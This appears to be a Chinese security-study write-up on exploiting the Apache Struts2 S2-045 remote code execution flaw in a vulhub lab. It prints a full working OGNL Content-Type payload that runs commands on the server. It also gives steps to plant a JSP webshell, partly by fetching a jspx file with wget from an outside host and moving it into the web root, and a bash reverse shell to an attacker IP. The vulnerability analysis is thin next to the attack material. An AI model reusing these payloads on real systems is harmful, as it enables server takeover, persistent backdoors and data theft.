本期文档内容为:《S2-045 Remote Code Execution漏洞利用》
作者介绍:Fhawkz
福建师范大学18级学生,国科学生会安全团队的一员,本人对技术喜欢进行钻研,平时也爱鼓捣一些安全的相关技术,本次分享是自己在日常学习中有用到的一些技术,希望给大家带来一些安全学习上的帮助。
0x00漏洞背景
Struts2是第二代基于Model-View-Controller(MVC)模型的java企业级web应用框架,并成为当时国内外较为流行的容器软件中间件。jakarta是apache组织下的一套Java解决方案的开源软件的名称,包括很多子项目。Struts就是jakarta的紧密关联项目。
根据CNVD技术组成员单位——杭州安恒信息技术有限公司提供的分析情况,基于JakartaMultipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达的URL导致远程代码执行。
CNVD对漏洞的综合评级均为“高危”。由于struts 2.3.5之前的版本存在S2-016漏洞,因此有较多升级后的Apache struts2的版本为2.3.5及以上版本,极有可能受到漏洞的影响。
0x01受影响版本
Struts2.3.5-Struts2.3.31
Struts2.5-Struts2.5.10
0x02漏洞搭建
a. 从git仓库获取vulhub
1) gitclone https://github.com/vulhub/vulhub.git
b. docker-compose工具的下载
c. 在docker-compose.yml中有端口映射关系
d. 环境创建docker-compose -d up
e. 查看环境docker ps -a
f. 进入docker的bash:docker exec -t -i CONTAINER ID /bin/bash
0x03POC检测漏洞存在
a. 访问环境
b. 抓包,使用vulhub自带的poc验证
Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
发送multipart/form-data使得能够对ognl表达式进行解析执行
addHeader('vulhub',233*233):添加头部的名称为vulhub,值为233*233
c. 使用百度到的poc,实现命令执行操作
POC:
Content-Type:"%{(#bm='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
0x04根据POC编写简单的利用程序
a. 设置poc的列表,获取输入,并赋值到#cmd上;使用urllib2.Request构造web请求
b. 设置两个参数,method及target
脚本文件:
myself_s2scan.py
0x05文件上传
a. 通过POC上传jsp一句话并写入到.jsp文件中
即
#cmd=’name="<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>"&&echo$name’
本地执行没有问题
但是如果在poc上插入命令会出现报错
技术水平不够,暂时不知道其他方式
b. 通过网上的html连接器并上传菜刀马
在提交代码处填写菜刀马
连接器代码:
test.html
c. 利用菜刀程序连接webshell
网上相关找到的jsp菜刀马
cknife.txt
d. 找到了新的能用的jspx菜刀马
e. 尝试用下载的思路进行传递,能绕过编码问题
1) name="wgetfhbebaidu.top/1.jspx"&&echo $name > final.txt && chmod+x final.txt
2) ./final.txt
3) 通过寻找我们能访问到的文件,来获得web站点的相对路径
4) mv1.jspx ./src/main/webapp/[能访问到的web目录]
f. 使用Cknife进行连接尝试即可
0x06反弹Shell
a. 主要利用的payload
bash -i >&/dec/tcp/192.168.16.133[攻击者ip]/7001[port] 0 > &1
依赖输出重定向,将bash反弹给某个ip的某个端口
b. 用nc工具监听设置的port
c. 在poc中插入payload并执行
d. 可以在监听的攻击方上得到对应的shell
0x07漏洞成因分析
参考网站:https://www.anquanke.com/post/id/85628
在org.apache.struts2dispatcherngfilterStrust2PrepareAndExecuteFilter对request进行封装
封装流程:ngPrepareOperations
dispatcherDispatcher
这或许是每个poc中的Content-Type都含有multipart/form-data的原因
getMultiPartRequest()
这里开始看不懂
先声明名为mpr的MultiPartRequest接口
然后在getContainer()获取一个实例类返回
实例化一个MultiPartRequestWrapper对象
或许ognl被执行在这之前已经找到入口了,但是我看不出来……
具体觉得那个参考文献写的应该挺清除
需要有点Java功底的才能了解清楚
0x08OGNL语法分析
%{ //强制解析为ongl表达式
(#bm='multipart/form-data'). //整个漏洞的入口点,在漏洞分析中有体现 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). //看起来像是得到一个常量并赋给dm (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='ls'). //定义要执行什么命令的变量(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). //通过os.name返回的字符串中是否包含win来判断操作系统是windows还是其他类型 (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). //如果是windows则调用cmd.exe否则调用/bin/bash执行之前cmd变量的命令 (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)). (#process=#p.start()). //发起进程(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush()) }